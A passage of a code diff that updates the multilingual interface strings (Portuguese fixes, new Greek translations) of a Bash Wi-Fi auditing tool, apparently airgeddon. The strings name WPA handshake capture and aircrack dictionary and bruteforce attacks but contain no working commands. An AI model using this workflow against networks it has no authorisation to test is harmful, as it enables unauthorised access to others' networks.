obtenu le Handshake" arr["catalan",144]="No tanquis manualment cap finestra, el script ho farà quan escaigui. En uns 20 segons com a màxim sabràs si vas aconseguir el Handshake" - arr["portuguese",144]="$pending_of_translation Não há bloqueios de janela manualmente, o script sempre que necessário. Em cerca de 20 segundos no máximo você sabe se você tem o Handshake" + arr["portuguese",144]="Não feche nenhuma janela manualmente, o script fechara quando necessário. Em cerca de 20 segundos no máximo você vai saber se você tem o Handshake" arr["russian",144]="Не закрывайте вручную какое-либо окно, скрипт сделает это когда нужно. Примерно в максимум 20 секунд вы узнаете, получили ли вы рукопожатие" + arr["greek",144]="Μην επιχειρήσετε το κλείσιμο κάποιου παραθύρου χειροκίνητα, εάν χρειαστεί το script θα το κάνει μόνο του. Σε περίπου 20 δευτερόλεπτα το μέγιστο θα μάθετε αν αποκτήσατε την Χειραψία" arr["english",145]="Did you get the Handshake? "${pink_color}"(Look at the top right corner of the capture window) "${normal_color}"[y/n]" arr["spanish",145]="¿Conseguiste el Handshake? "${pink_color}"(Mira en la parte superior derecha de la ventana de captura) "${normal_color}"[y/n]" arr["french",145]="Avez-vous obtenu le Handshake? "${pink_color}"(Regardez dans le coin supérieur en haut à droite de la fenêtre de capture) "${normal_color}"[y/n]" arr["catalan",145]="¿Has aconseguit el Handshake? "${pink_color}"(Mira a la part superior dreta de la finestra de captura) "${normal_color}"[y/n]" - arr["portuguese",145]="$pending_of_translation Deram-lhe o Handshake? "${pink_color}"(Olhe para o canto superior direito da janela de captura) "${normal_color}"[y/n]" + arr["portuguese",145]="O Handshake foi obtido? "${pink_color}"(Olhe para o canto superior direito da janela de captura) "${normal_color}"[y/n]" arr["russian",145]="Вы получили рукопожатие? "${pink_color}"(Смотрите на верхний правый угол окна захвата) "${normal_color}"[y/n]" + arr["greek",145]="Πήρατε την Χειραψία? "${pink_color}"(Κοιτάξτε στη δεξιά πάνω γωνία του παραθύρου) "${normal_color}"[y/n]" arr["english",146]="It seems we failed... try it again or choose another attack" arr["spanish",146]="Parece que no lo hemos conseguido... inténtalo de nuevo o elige otro ataque" @@ -1368,97 +1534,111 @@ function language_strings() { arr["catalan",146]="Sembla que no ho hem aconseguit... intenta-ho de nou o tria un altre atac" arr["portuguese",146]="$pending_of_translation Parece que não estamos lá... tente novamente ou escolher um outro ataque" arr["russian",146]="Кажется мы потерпели неудачу... попробуйте снова или выберите другую атаку" + arr["greek",146]="Φαίνεται πως αποτύχαμε... προσπαθήστε ξανά ή επιλέξτε άλλη επίθεση" arr["english",147]="4. Return to Handshake tools menu" arr["spanish",147]="4. Volver al menú de herramientas Handshake" arr["french",147]="4. Retourner au menu des outils pour la capture du handshake" arr["catalan",147]="4. Tornar al menú d'eines Handshake" - arr["portuguese",147]="$pending_of_translation 4. Voltar para o menu de ferramentas do Handshake" - arr["russian",147]="4. Возврат в меню инструментов для работы с рукопожатием " + arr["portuguese",147]="4. Voltar para o menu de ferramentas Handshake" + arr["russian",147]="4. Возврат в меню инструментов для работы с рукопожатием" + arr["greek",147]="4. Επιστροφή στο μενού με τα εργαλεία Χειραψίας" arr["english",148]="Type the path to store the file or press Enter to accept the default proposal"${normal_color}"[$handshakepath]" arr["spanish",148]="Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$handshakepath]" arr["french",148]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur Entrée pour prendre le chemin proposé par défaut"${normal_color}"[$handshakepath]" arr["catalan",148]="Escriu la ruta on guardarem el fitxer o prem Enter per acceptar la proposta per defecte"${normal_color}"[$handshakepath]" - arr["portuguese",148]="$pending_of_translation Digite o caminho onde armazenar o arquivo ou pressione Enter para aceitar as propostas padrão "${normal_color}"[$handshakepath]" + arr["portuguese",148]="Digite o caminho para salvar o arquivo ou pressione Enter para o caminho padrão "${normal_color}"[$handshakepath]" arr["russian",148]="Напечатайте путь, по которому сохранить файл или нажмите Enter для принятия предложения по умолчанию "${normal_color}"[$handshakepath]" + arr["greek",148]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε Enter για την προεπιλεγμένη επιλογή "${normal_color}"[$handshakepath]" arr["english",149]="Handshake file generated successfully at ["${normal_color}"$enteredpath"${blue_color}"]" arr["spanish",149]="Fichero de Handshake generado con éxito en ["${normal_color}"$enteredpath"${blue_color}"]" arr["french",149]="Fichier Handshake généré avec succès dans ["${normal_color}"$enteredpath"${blue_color}"]" arr["catalan",149]="Fitxer de Handshake generat amb èxit a ["${normal_color}"$enteredpath"${blue_color}"]" - arr["portuguese",149]="$pending_of_translation Arquivo Handshake gerado com sucesso ["${normal_color}"$enteredpath"${blue_color}"]" + arr["portuguese",149]="Arquivo Handshake gerado com sucesso ["${normal_color}"$enteredpath"${blue_color}"]" arr["russian",149]="Файл рукопожания успешно сгенерирован в ["${normal_color}"$enteredpath"${blue_color}"]" + arr["greek",149]="Το αρχείο Χειραψίας δημιουργήθηκε επιτυχώς στο ["${normal_color}"$enteredpath"${blue_color}"]" arr["english",150]="No captured Handshake file detected during this session..." arr["spanish",150]="No se ha detectado ningún fichero de Handshake capturado en esta sesión..." arr["french",150]="Aucun fichier Handshake valide détecté durant cette session..." arr["catalan",150]="No s'ha detectat un fitxer de Handshake capturat en aquesta sessió..." - arr["portuguese",150]="$pending_of_translation Não é detectado arquivo Handshake capturado nesta sessão..." + arr["portuguese",150]="Nenhum Handshake capturado nessa seção..." arr["russian",150]="За эту сессию не обнаружено захваченного рукопожатия..." + arr["greek",150]="Δεν εντοπίστηκε κάποιο αρχείο καταγραφής Χειραψίας κατά τη διάρκεια της συνεδρίας..." arr["english",151]="Handshake captured file detected during this session ["${normal_color}"$enteredpath"${blue_color}"]" arr["spanish",151]="Se ha detectado un fichero de Handshake capturado en esta sesión ["${normal_color}"$enteredpath"${blue_color}"]" arr["french",151]="Un fichier contenant un Handshake a été détecté pour la session effectuée et se trouve dans "${normal_color}"$enteredpath"${blue_color}"]" arr["catalan",151]="S'ha detectat un fitxer de Handshake capturat en aquesta sessió ["${normal_color}"$enteredpath"${blue_color}"]" - arr["portuguese",151]="$pending_of_translation Arquivo Handshake detectado capturado nesta sessão ["${normal_color}"$enteredpath"${blue_color}"]" + arr["portuguese",151]="Handshake capturado com sucesso ["${normal_color}"$enteredpath"${blue_color}"]" arr["russian",151]="В этой сессии обнаружен файл с захваченным рукопожатием ["${normal_color}"$enteredpath"${blue_color}"]" + arr["greek",151]="Εντοπίστηκε αρχείο καταγραφής Χειραψίας κατά τη διάρκεια της συνεδρίας ["${normal_color}"$enteredpath"${blue_color}"]" arr["english",152]="Do you want to clean/optimize the Handshake captured file during this session? "${normal_color}"[y/n]" arr["spanish",152]="¿Quieres limpiar/optimizar el fichero de Handshake capturado en esta sesión? "${normal_color}"[y/n]" arr["french",152]="Voulez-vous nettoyer/optimiser le fichier Handshake capturé pendant cette session? "${normal_color}"[y/n]" arr["catalan",152]="¿Vols netejar/optimitzar el fitxer de Handshake capturat en aquesta sessió? "${normal_color}"[y/n]" - arr["portuguese",152]="$pending_of_translation Quer limpar/otimizar o arquivo handshake capturado nesta sessão? "${normal_color}"[y/n]" + arr["portuguese",152]="Quer limpar/otimizar o arquivo handshake capturado nesta sessão? "${normal_color}"[y/n]" arr["russian",152]="Вы хотите очистить/оптимизировать захваченный за эту сессию файл рукопожания? "${normal_color}"[y/n]" + arr["greek",152]="Θέλετε να καθαρήσετε/βελτιστοποιήσετε το αρχείο καταγραφής Χειραψίας της συνεδρίας? "${normal_color}"[y/n]" arr["english",153]="File cleaned/optimized successfully" arr["spanish",153]="Fichero limpiado/optimizado con éxito" arr["french",153]="Fichier lavé/optimisé avec succès" arr["catalan",153]="Fitxer netejat/optimitzat amb èxit" - arr["portuguese",153]="$pending_of_translation Limpei arquivo/otimizado com sucesso" + arr["portuguese",153]="Arquivo limpo/otimizado com sucesso" arr["russian",153]="Файл успешно очищен/оптимизирован" + arr["greek",153]="Το αρχείο καθαρίστηκε/βελτιστοποιήθηκε επιτυχώς" arr["english",154]="Set path to file :" arr["spanish",154]="Introduce la ruta al fichero :" arr["french",154]="Entrez le chemin vers le fichier :" arr["catalan",154]="Introdueix la ruta al fitxer :" - arr["portuguese",154]="$pending_of_translation Digite o caminho para o arquivo :" + arr["portuguese",154]="Digite o caminho para o arquivo :" arr["russian",154]="Установить путь до файла :" + arr["greek",154]="Θέστε μονοπάτι για το αρχείο :" arr["english",155]="The directory exists but you didn't specify filename. It will be autogenerated ["${normal_color}"$suggested_filename"${yellow_color}"]" arr["spanish",155]="El directorio existe pero no se especificó nombre de fichero. Se autogenerará ["${normal_color}"$suggested_filename"${yellow_color}"]" arr["french",155]="Le dossier existe mais sans qu'aucun nom pour le fichier soit précisé. Il sera donc appelé ["${normal_color}"$suggested_filename"${yellow_color}"]" arr["catalan",155]="El directori existeix però no s'ha especificat nom de fitxer. Es autogenerará ["${normal_color}"$suggested_filename"${yellow_color}"]" - arr["portuguese",155]="$pending_of_translation O diretório existe, mas nenhum nome de arquivo especificado. Ele irá gerar automaticamente ["${normal_color}"$suggested_filename"${yellow_color}"]" + arr["portuguese",155]="O diretório existe, mas o nome do arquivo não foi especificado. Será gerado automaticamente ["${normal_color}"$suggested_filename"${yellow_color}"]" arr["russian",155]="Директория существует, но вы не указали имя файла. Оно будет сгенерировано автоматически ["${normal_color}"$suggested_filename"${yellow_color}"]" + arr["greek",155]="Ο κατάλογος υπάρχει αλλά δεν έχετε προσδιορίσει το όνομα του αρχείου ["${normal_color}"$suggested_filename"${yellow_color}"]" arr["english",156]="Directory not exists" arr["spanish",156]="El directorio no existe" arr["french",156]="Le dossier n'existe pas" arr["catalan",156]="El directori no existeix" - arr["portuguese",156]="$pending_of_translation O diretório não existe" + arr["portuguese",156]="O diretório não existe" arr["russian",156]="Директория не существует" + arr["greek",156]="Ο κατάλογος δεν υπάρχει" arr["english",157]="The path exists but you don't have write permissions" arr["spanish",157]="La ruta existe pero no tienes permisos de escritura" arr["french",157]="Le chemin existe mais vous ne disposez pas des permis d'écriture" arr["catalan",157]="La ruta existeix, però no tens permisos d'escriptura" - arr["portuguese",157]="$pending_of_translation A rota existe, mas você não tem permissões de gravação" + arr["portuguese",157]="O diretório existe, mas você não tem permissões de gravação" arr["russian",157]="Путь существует, но у вас нет прав на запись" + arr["greek",157]="Το μονοπάτι υπάρχει, αλλά δεν έχετε δικαιώματα εγγραφής" arr["english",158]="The path is valid and you have write permissions. Script can continue..." arr["spanish",158]="La ruta es válida y tienes permisos de escritura. El script puede continuar..." arr["french",158]="Le chemin est valide et vous disposez des privilèges nécessaires pour l'écriture. Le script peut continuer..." arr["catalan",158]="La ruta és vàlida i tens permisos d'escriptura. El script pot continuar..." - arr["portuguese",158]="$pending_of_translation A rota é válida e você tem permissões de gravação. O script pode continuar..." + arr["portuguese",158]="O diretório é válido e você tem permissões de gravação. O script pode continuar..." arr["russian",158]="Путь существует и у вас есть права на запись. Скрипт может продолжить..." + arr["greek",158]="Το μονοπάτι είναι έγκυρο και έχετε δικαιώματα εγγραφής. Το script μπορεί να συνεχίσει..." arr["english",159]="The file doesn't need to be cleaned/optimized" arr["spanish",159]="El fichero no necesita ser limpiado/optimizado" arr["french",159]="Le fichier n'a pas besoin d'être nettoyé/optimisé" arr["catalan",159]="El fitxer no necessita ser netejat/optimitzat" - arr["portuguese",159]="$pending_of_translation O arquivo não precisam ser limpos/otimizado" + arr["portuguese",159]="O arquivo não precisa ser limpos/otimizado" arr["russian",159]="Файлу не требуется очистка/оптимизация" + arr["greek",159]="Το αρχείο δεν χρειάζεται να καθαριστεί/βελτιστοποιηθεί" arr["english",160]="No tasks to perform on exit" arr["spanish",160]="No hay que realizar ninguna tarea a la salida" @@ -1466,34 +1646,39 @@ function language_strings() { arr["catalan",160]="No cal fer cap tasca a la sortida" arr["portuguese",160]="$pending_of_translation Nenhuma tarefa não deve fazer a saída" arr["russian",160]="Нет задач для выполнения перед выходом" + arr["greek",160]="Δεν απομένει κάποιο task για να εκτελεστεί στην έξοδο" arr["english",161]="File not exists" arr["spanish",161]="El fichero no existe" arr["french",161]="Le fichier n' existe pas" arr["catalan",161]="El fitxer no existeix" - arr["portuguese",161]="$pending_of_translation O arquivo não existe" + arr["portuguese",161]="O arquivo não existe" arr["russian",161]="Файл не существует" + arr["greek",161]="Το αρχείο δεν υπάρχει" arr["english",162]="Congratulations!!" arr["spanish",162]="Enhorabuena!!" arr["french",162]="Félicitations!!" arr["catalan",162]="Enhorabona!!" - arr["portuguese",162]="$pending_of_translation Parabéns!!" + arr["portuguese",162]="Parabéns!!" arr["russian",162]="Поздравления!!" + arr["greek",162]="Συγχαρητήρια!!" arr["english",163]="It is recommended to launch the script as root user or using \"sudo\". Make sure you have permission to launch commands like rfkill or airmon for example" arr["spanish",163]="Se recomienda lanzar el script como usuario root o usando \"sudo\". Asegúrate de tener permisos para lanzar comandos como rfkill o airmon por ejemplo" arr["french",163]="Il faut lancer le script en tant que root ou en utilisant \"sudo\". Assurez-vous de bien dsiposer des privilèges nécessaires à l’exécution de commandes comme rfkill ou airmon" arr["catalan",163]="Es recomana llançar l'script com a usuari root o utilitzeu \"sudo\". Assegura't de tenir permisos per llançar ordres com rfkill o airmon per exemple" - arr["portuguese",163]="$pending_of_translation Recomenda-se iniciar o script como root ou usando \"sudo\". Certifique-se de que você tem permissão para iniciar comandos como por exemplo rfkill ou airmon" + arr["portuguese",163]="Recomenda-se iniciar o script como root ou usando \"sudo\". Certifique-se de que você tem permissão para iniciar comandos como por exemplo rfkill ou airmon" arr["russian",163]="Рекомендуется запускать скрипт от пользователя root или использовать \"sudo\". Убедитесь, что обладаете, к примеру, правами на запуск программ вроде rfkill или airmon" + arr["greek",163]="Συνιστάται να εκτελέσετε το script ως χρήστης root ή να χρησιμοποιήσετε \"sudo\". Βεβαιωθείτε πως έχετε δικαίωμα να εκτελέσετε εντολές όπως rfkill ή airmon για παράδειγμα" arr["english",164]="Cleaning temp files" arr["spanish",164]="Limpiando archivos temporales" arr["french",164]="Effacement des fichiers temporaires" arr["catalan",164]="Netejant arxius temporals" - arr["portuguese",164]="$pending_of_translation Limpar arquivos temporários" + arr["portuguese",164]="Limpando arquivos temporários" arr["russian",164]="Очистка временных файлов" + arr["greek",164]="Γίνεται καθαρισμός προσωρινών αρχείων" arr["english",165]="Checking if cleaning/restoring tasks are needed..." arr["spanish",165]="Comprobando si hay que realizar tareas de limpieza/restauración..." @@ -1501,300 +1686,343 @@ function language_strings() { arr["catalan",165]="Comprovant si cal realitzar tasques de neteja/restauració..." arr["portuguese",165]="$pending_of_translation Verificar se para executar a limpeza/restauração..." arr["russian",165]="Проверка, нужны ли задачи по очистке/восстановлению..." + arr["greek",165]="Γίνεται έλεγχος αν χρειάζονται tasks καθαρισμού/αποκατάστασης..." - arr["english",166]="Do you want to preserv monitor mode for your card on exit? "${normal_color}"[y/n]" + arr["english",166]="Do you want to preserve monitor mode for your card on exit? "${normal_color}"[y/n]" arr["spanish",166]="¿Deseas conservar el modo monitor de tu interfaz al salir? "${normal_color}"[y/n]" arr["french",166]="Voulez-vous laisser votre interface en mode moniteur après l'arrêt du script? "${normal_color}"[y/n]" arr["catalan",166]="¿Vols conservar el mode monitor de la teva interfície en sortir? "${normal_color}"[y/n]" - arr["portuguese",166]="$pending_of_translation Quer manter sua interface de modo monitor ir? "${normal_color}"[y/n]" + arr["portuguese",166]="Quer manter sua interface em modo monitor ao sair do script? "${normal_color}"[y/n]" arr["russian",166]="Вы хотите сохранить режим монитора вашей карты при выходе? "${normal_color}"[y/n]" + arr["greek",166]="Θέλετε να παραμείνει η κάρτα σε κατάσταση παρακολούθησης κατά την έξοδο; "${normal_color}"[y/n]" arr["english",167]="Putting your interface in managed mode" arr["spanish",167]="Poniendo interfaz en modo managed" arr["french",167]="L'interface est en train de passer en mode managed" arr["catalan",167]="Configurant la interfície en mode managed" - arr["portuguese",167]="$pending_of_translation Colocando interface de modo managed" + arr["portuguese",167]="Colocando interface de modo managed" arr["russian",167]="Перевод вашего монитора в управляемый режим" + arr["greek",167]="Η διεπαφή μπαίνει σε ετερόκλητη κατάσταση" arr["english",168]="Launching previously killed processes" arr["spanish",168]="Arrancando procesos cerrados anteriormente" arr["french",168]="Lancement des processus précédemment tués" arr["catalan",168]="Llançant processos tancats anteriorment" - arr["portuguese",168]="$pending_of_translation Processos de inicialização previamente fechados" + arr["portuguese",168]="Processos de inicialização previamente fechados" arr["russian",168]="Запуск ранее убитых процессов" + arr["greek",168]="Γίνεται έναρξη των προηγούμενων σταματημένων διεργασιών" arr["english",169]="6. Offline WPA/WPA2 decrypt menu" arr["spanish",169]="6. Menú de desencriptado WPA/WPA2 offline" arr["french",169]="6. Menu crack WPA/WPA2 offline" arr["catalan",169]="6. Menú per desxifrar WPA/WPA2 offline" - arr["portuguese",169]="$pending_of_translation 6. Menu de descriptografado WPA/WPA2 offline" + arr["portuguese",169]="6. Menu de descriptografia WPA/WPA2 offline" arr["russian",169]="6. Меню оффлайн расшифровки WPA/WPA2" + arr["greek",169]="6. Μενού offline αποκρυπτογράφησης WPA/WPA2" arr["english",170]="Offline WPA/WPA2 decrypt menu" arr["spanish",170]="Menú de desencriptado WPA/WPA2 offline" arr["french",170]="Menu crack WPA/WPA2 offline" arr["catalan",170]="Menú per desxifrar WPA/WPA2 offline" - arr["portuguese",170]="$pending_of_translation Descriptografado WPA Menu / WPA2 offline" + arr["portuguese",170]="Menu de descriptografia WPA/WPA2 offline" arr["russian",170]="Меню оффлайн расшифровки WPA/WPA2" + arr["greek",170]="Μενού offline αποκρυπτογράφησης WPA/WPA2" arr["english",171]="The key decrypt process is performed offline on a previously captured file" arr["spanish",171]="El proceso de desencriptado de las claves se realiza de manera offline sobre un fichero capturado previamente" arr["french",171]="Le crack de la clef s'effectue offline en utilisant le fichier capturé antérieurement" arr["catalan",171]="El procés de desencriptació de les claus es realitza de manera offline sobre un fitxer capturat prèviament" - arr["portuguese",171]="$pending_of_translation O processo de chave de decodificação é realizada de modo offline em um arquivo previamente capturado" + arr["portuguese",171]="O processo de descodificação é realizada de modo offline em um arquivo previamente capturado" arr["russian",171]="Процесс расшифровки ключа выполняется оффлан на ранее захваченном файле" + arr["greek",171]="Η διεργασία αποκρυπτογράφησης κλειδιού έχει εκτελεστεί offline σε προηγούμενο αρχείο καταγραφής" arr["english",172]="1. (aircrack) Dictionary attack against capture file" arr["spanish",172]="1. (aircrack) Ataque de diccionario sobre fichero de captura" arr["french",172]="1. (aircrack) Attaque de dictionnaire en utilisant le fichier de capture" arr["catalan",172]="1. (aircrack) Atac de diccionari sobre fitxer de captura" - arr["portuguese",172]="$pending_of_translation 1. (aircrack) Dicionário ataque em arquivo de captura" + arr["portuguese",172]="1. (aircrack) Ataque de diccionario sobre arquivo de captura" arr["russian",172]="1. (aircrack) Атака по словарю в отношении захваченного файла" + arr["greek",172]="1. (aircrack) Επίθεση με χρήση λεξικού σε αρχείο καταγραφής" arr["english",173]="Selected capture file: "${pink_color}"$enteredpath"${normal_color} arr["spanish",173]="Fichero de captura seleccionado: "${pink_color}"$enteredpath"${normal_color} arr["french",173]="Fichier de capture sélectionné: "${pink_color}"$enteredpath"${normal_color} arr["catalan",173]="Fitxer de captura seleccionat: "${pink_color}"$enteredpath"${normal_color} - arr["portuguese",173]="$pending_of_translation Seleccionado arquivo de captura: "${pink_color}"$enteredpath"${normal_color} + arr["portuguese",173]="Seleccionado arquivo de captura: "${pink_color}"$enteredpath"${normal_color} arr["russian",173]="Выбранный файл захвата: "${pink_color}"$enteredpath"${normal_color} + arr["greek",173]="Επιλεγμένο αρχείο καταγραφής: "${pink_color}"$enteredpath"${normal_color} arr["english",174]="6. Return to main menu" arr["spanish",174]="6. Volver al menú principal" arr["french",174]="6. Retourner au menu principal" arr["catalan",174]="6. Tornar al menú principal" - arr["portuguese",174]="$pending_of_translation 6. Volte ao menu principal" + arr["portuguese",174]="6. Voltar para o menu principal" arr["russian",174]="6. Возврат в главное меню" + arr["greek",174]="6. Επιστροφή στο αρχικό μενού" arr["english",175]="2. (aircrack + crunch) Bruteforce attack against capture file" arr["spanish",175]="2. (aircrack + crunch) Ataque de fuerza bruta sobre fichero de captura" arr["french",175]="2. (aircrack + crunch) Attaque de force brute en utilisant le fichier de capture" arr["catalan",175]="2. (aircrack + crunch) Atac de força bruta sobre fitxer de captura" - arr["portuguese",175]="$pending_of_translation 2. (aircrack + crunch) Ataque de força bruta em arquivo de captura" + arr["portuguese",175]="2. (aircrack + crunch) Ataque de força bruta em arquivo de captura" arr["russian",175]="2. (aircrack + crunch) Атака методом грубой силы в отношении захваченного файла" + arr["greek",175]="2. (aircrack + crunch) Επίθεση ωμής βίας σε αρχείο καταγραφής" arr["english",176]="aircrack CPU, non GPU attacks" arr["spanish",176]="ataques aircrack CPU, no GPU" arr["french",176]="attaques aircrack CPU, pas GPU" arr["catalan",176]="atacs aircrack CPU, no GPU" - arr["portuguese",176]="$pending_of_translation ataques aircrack CPU, não GPU" + arr["portuguese",176]="ataques aircrack CPU, não GPU" arr["russian",176]="aircrack атаки с использованием процессора, а не видеокарты" + arr["greek",176]="επιθέσεις aircrack CPU, όχι GPU" arr["english",177]="Selected captured file: "${pink_color}"None"${normal_color} arr["spanish",177]="Fichero capturado seleccionado: "${pink_color}"Ninguno"${normal_color} arr["french",177]="Fichier de capture sélectionné: "${pink_color}"Aucun"${normal_color} arr["catalan",177]="Fitxer capturat seleccionat: "${pink_color}"Ningú"${normal_color} - arr["portuguese",177]="$pending_of_translation Seleccionado arquivo capturado: "${pink_color}"Nenhum"${normal_color} + arr["portuguese",177]="Selecione o arquivo capturado: "${pink_color}"Nenhum"${normal_color} arr["russian",177]="Выбран захваченный файл: "${pink_color}"None"${normal_color} + arr["greek",177]="Επιλεγμένο αρχείο καταγραφής: "${pink_color}"Κανένα"${normal_color} arr["english",178]="To decrypt the key of a WPA/WPA2 network, the capture file must contain a Handshake" arr["spanish",178]="Para desencriptar la clave de una red WPA/WPA2, el fichero de captura debe contener un Handshake" arr["french",178]="Pour cracker la clé d'un réseau WPA/WPA2 le fichier de capture doit contenir un Handshake" arr["catalan",178]="Per desencriptar la clau d'una xarxa WPA/WPA2 el fitxer de captura ha de contenir un Handshake" - arr["portuguese",178]="$pending_of_translation Para decifrar a chave para uma rede WPA/WPA2, o arquivo de captura deve conter um Handshake" + arr["portuguese",178]="Para decifrar a senha de rede WPA/WPA2, o arquivo de captura deve conter um Handshake" arr["russian",178]="Для расшифровки ключа сетей WPA/WPA2, the файл захвата должен содержать хендшейк" + arr["greek",178]="Για να αποκρυπτογραφήσετε το κλειδί ενός WPA/WPA2 δικτύου, το αρχείο καταγραφής πρέπει να περιέχει μία Χειραψία" arr["english",179]="Decrypting by bruteforce, it could pass hours, days, weeks or even months to take it depending on the complexity of the password and your processing speed" arr["spanish",179]="Desencriptando por fuerza bruta, podrían pasar horas, días, semanas o incluso meses hasta conseguirlo dependiendo de la complejidad de la contraseña y de tu velocidad de proceso" arr["french",179]="Le crack de la clef par attaque de type brute force peut prendre des heures, des jours, des semaines ou même des mois en fonction de la complexité de la clef et de la puissance de calcul de votre matériel" arr["catalan",179]="Desencriptant per força bruta, podrien passar hores, dies, setmanes o fins i tot mesos fins a aconseguir-ho depenent de la complexitat de la contrasenya i de la teva velocitat de procés" - arr["portuguese",179]="$pending_of_translation Descriptografar força bruta, eles podiam passar horas, dias, semanas ou mesmo meses para se dependendo da complexidade de sua senha e velocidade de processamento" + arr["portuguese",179]="Descriptografar com força bruta pode levar horas, dias, semanas ou mesmo meses dependendo da complexidade de sua senha e velocidade de processamento" arr["russian",179]="Расшифровка грубой силой может занять часы, дни, недели или даже месяцы в зависимости от сложности пароля и вашей скорости обработки" + arr["greek",179]="Αποκρυπτογραφώντας με χρήση ωμής βίας, μπορεί να περάσουν ώρες, μέρες, εβδομάδες ή ακόμη και μήνες για να το αποκτήσετε έχοντας υπόψιν την πολυπλοκότητα του κωδικού και την ταχύτητα του επεξεργαστή" arr["english",180]="Enter the path of a dictionary file :" arr["spanish",180]="Introduce la ruta de un fichero de diccionario :" arr["french",180]="Saisissez un chemin vers un dictionnaire d'attaque :" arr["catalan",180]="Introdueix la ruta d'un fitxer de diccionari :" - arr["portuguese",180]="$pending_of_translation Digite o caminho de um arquivo de dicionário :" + arr["portuguese",180]="Digite o caminho de um arquivo de dicionário :" arr["russian",180]="Введите путь до файла словаря :" + arr["greek",180]="Εισάγετε το μονοπάτι ενός λεξικού :" arr["english",181]="The path to the dictionary file is valid. Script can continue..." arr["spanish",181]="La ruta al fichero de diccionario es válida. El script puede continuar..." arr["french",181]="Le chemin vers le fichier dictionnaire est valide. Le script peut continuer..." arr["catalan",181]="La ruta cap al fitxer de diccionari és vàlida. El script pot continuar..." - arr["portuguese",181]="$pending_of_translation O caminho para o arquivo de dicionário é válido. O script pode continuar..." + arr["portuguese",181]="O caminho para o arquivo de dicionário é válido. O script pode continuar..." arr["russian",181]="Путь до файла словаря правильный. Скрипт может продолжить..." + arr["greek",181]="Το μονοπάτι για το λεξικό είναι έγκυρο. Το script μπορεί να συνεχίσει..." arr["english",182]="Selected dictionary file: "${pink_color}"$dictionary"${normal_color} arr["spanish",182]="Fichero de diccionario seleccionado: "${pink_color}"$dictionary"${normal_color} arr["french",182]="Fichier dictionnaire sélectionné: "${pink_color}"$dictionary"${normal_color} arr["catalan",182]="Fitxer de diccionari seleccionat: "${pink_color}"$dictionary"${normal_color} - arr["portuguese",182]="$pending_of_translation Seleccionado arquivo de dicionário: "${pink_color}"$dictionary"${normal_color} + arr["portuguese",182]="Dicionário seleccionado: "${pink_color}"$dictionary"${normal_color} arr["russian",182]="Выбранный файл словаря: "${pink_color}"$dictionary"${normal_color} + arr["greek",182]="Επιλεγμένο λεξικό: "${pink_color}"$dictionary"${normal_color} arr["english",183]="You already have selected a dictionary file during this session ["${normal_color}"$dictionary"${blue_color}"]" arr["spanish",183]="Ya tienes seleccionado un fichero de diccionario en esta sesión ["${normal_color}"$dictionary"${blue_color}"]" arr["french",183]="Vous avez déjà sélectionné un fichier dictionnaire pour cette session "${normal_color}"$dictionary"${blue_color}"]" arr["catalan",183]="Ja tens seleccionat un fitxer de diccionari en aquesta sessió ["${normal_color}"$dictionary"${blue_color}"]" - arr["portuguese",183]="$pending_of_translation Você selecionou um arquivo de dicionário nesta sessão ["${normal_color}"$dictionary"${blue_color}"]" + arr["portuguese",183]="Você selecionou um arquivo de dicionário nesta sessão ["${normal_color}"$dictionary"${blue_color}"]" arr["russian",183]="Во время этой сессии вы выбрали файл словаря ["${normal_color}"$dictionary"${blue_color}"]" + arr["greek",183]="Έχετε ήδη επιλέξει λεξικό κατά τη διάρκεια της συνεδρίας ["${normal_color}"$dictionary"${blue_color}"]" arr["english",184]="Do you want to use this already selected dictionary file? "${normal_color}"[y/n]" arr["spanish",184]="¿Quieres utilizar este fichero de diccionario ya seleccionado? "${normal_color}"[y/n]" arr["french",184]="Souhaitez vous utiliser le dictionnaire déjà sélectionné? "${normal_color}"[y/n]" arr["catalan",184]="¿Vols fer servir aquest fitxer de diccionari ja seleccionat? "${normal_color}"[y/n]" - arr["portuguese",184]="$pending_of_translation Você quer usar esse arquivo de dicionário já seleccionada? "${normal_color}"[y/n]" + arr["portuguese",184]="Você quer usar esse arquivo de dicionário já seleccionada? "${normal_color}"[y/n]" arr["russian",184]="Вы хотите использовать этот уже выбранный файл словаря? "${normal_color}"[y/n]" + arr["greek",184]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο λεξικό? "${normal_color}"[y/n]" arr["english",185]="Selected BSSID: "${pink_color}"None"${normal_color} arr["spanish",185]="BSSID seleccionado: "${pink_color}"Ninguno"${normal_color} arr["french",185]="BSSID sélectionné: "${pink_color}"Aucun"${normal_color} arr["catalan",185]="BSSID seleccionat: "${pink_color}"Ningú"${normal_color} - arr["portuguese",185]="$pending_of_translation BSSID selecionado: "${pink_color}"Nenhum"${normal_color} + arr["portuguese",185]="BSSID selecionado: "${pink_color}"Nenhum"${normal_color} arr["russian",185]="Выбранная BSSID: "${pink_color}"None"${normal_color} + arr["greek",185]="Επιλεγμένο BSSID: "${pink_color}"Κανένα"${normal_color} arr["english",186]="You already have selected a capture file during this session ["${normal_color}"$enteredpath"${blue_color}"]" arr["spanish",186]="Ya tienes seleccionado un fichero de captura en esta sesión ["${normal_color}"$enteredpath"${blue_color}"]" arr["french",186]="Vous avez déjà sélectionné un fichier de capture pour cette session "${normal_color}"$enteredpath"${blue_color}"]" arr["catalan",186]="Ja tens seleccionat un fitxer de captura en aquesta sessió ["${normal_color}"$enteredpath"${blue_color}"]" - arr["portuguese",186]="$pending_of_translation Você selecionou um arquivo de captura nesta sessão ["${normal_color}"$enteredpath"${blue_color}"]" + arr["portuguese",186]="Você selecionou um arquivo de captura nesta sessão ["${normal_color}"$enteredpath"${blue_color}"]" arr["russian",186]="Вы уже выбрали файл захвата во время этой сессии ["${normal_color}"$enteredpath"${blue_color}"]" + arr["greek",186]="Έχετε ήδη επιλέξει αρχείο καταγραφής κατά τη διάρκεια της συνεδρίας ["${normal_color}"$enteredpath"${blue_color}"]" arr["english",187]="Do you want to use this already selected capture file? "${normal_color}"[y/n]" arr["spanish",187]="¿Quieres utilizar este fichero de captura ya seleccionado? "${normal_color}"[y/n]" arr["french",187]="Souhaitez vous utiliser le fichier de capture déjà sélectionné? "${normal_color}"[y/n]" arr["catalan",187]="¿Vols fer servir aquest fitxer de captura ja seleccionat? "${normal_color}"[y/n]" - arr["portuguese",187]="$pending_of_translation Você quer usar esse arquivo e captura selecionado? "${normal_color}"[y/n]" + arr["portuguese",187]="Você quer usar 